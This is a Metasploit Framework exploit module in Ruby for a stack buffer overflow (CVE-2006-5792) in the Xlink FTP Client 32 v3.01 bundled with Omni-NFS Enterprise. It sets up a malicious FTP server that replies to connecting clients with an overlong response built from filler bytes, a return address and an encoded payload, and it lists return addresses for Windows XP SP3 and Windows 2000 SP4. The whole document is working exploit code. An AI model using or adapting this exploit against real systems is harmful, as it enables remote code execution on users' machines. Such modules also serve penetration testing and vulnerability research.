Xlink FTP Client Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xlink FTP Client Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Xlink FTP Client 32  
Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.   
When a overly long FTP server response is recieved by a client,   
arbitrary code may be executed.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2006-5792' ],  
[ 'OSVDB', '33969' ],  
[ 'URL', 'http://www.metasploit.com/' ],  
[ 'URL', 'http://www.xlink.com' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 550,  
'BadChars' => "\x00\x0a\x0d\().,",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 3 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),  
], self.class)  
end  
  
def on_client_connect(client)  
  
return if ((p = regenerate_payload(client)) == nil)   
  
sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded  
sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"  
  
print_status("Sending #{self.name}...")  
client.put(sploit)  
  
handler(client)  
service.close_client(client)  
  
end  
end  
`